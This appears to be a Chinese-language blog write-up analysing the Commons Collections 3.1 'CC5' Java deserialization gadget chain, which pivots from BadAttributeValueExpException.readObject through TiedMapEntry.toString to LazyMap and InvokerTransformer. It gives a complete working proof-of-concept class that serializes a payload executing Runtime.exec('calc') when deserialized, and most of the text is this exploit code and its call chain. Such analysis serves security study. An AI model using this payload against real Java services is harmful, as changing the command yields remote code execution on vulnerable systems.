# 环境
1 2 3 4 5 6 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1 </version> </dependency>
依然是 cc1 的变形
# 审计
直接来看 Map
的 get()
方法
TideMapEntry
中的 getValue()
中有调用 get()
方法
1 2 3 public Object getValue () { return map.get(key); }
并在 toString()
方法中调用 getvalue()
关于这个 toString()
印象很深
源自某 CTF 题目
1 2 3 4 public String toString () { return getKey() + "=" + getValue(); }
这里的 map
属性是通过 TideMapEntry
来构造赋值的,也就是将 cc1
中 LazyMap
换做 TideMapEntry
来构造属性
下面就需要找到一个重写的 readObject
方法并且可以调用 toString
的方法
BadAttributeValueExpException0
的 readObject()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
其中
1 2 3 ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null );val = valObj.toString();
只要让 valObj
是 TiedMapEntry
类的对象即可
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
直接对照着当时的 cc1
把后面的 AnnotationInvocationHandler
换成 BadAttributeValueExpException
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class cc5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) } ; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap,"ki10Moc" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class clazz = Class.forName("javax.management.BadAttributeValueExpException" ); Field field = clazz.getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException,tiedMapEntry); byte [] bytes = serialize(badAttributeValueExpException); unserialize(bytes); } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(Object o) throws Exception{ try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(o); return baout.toByteArray(); } } }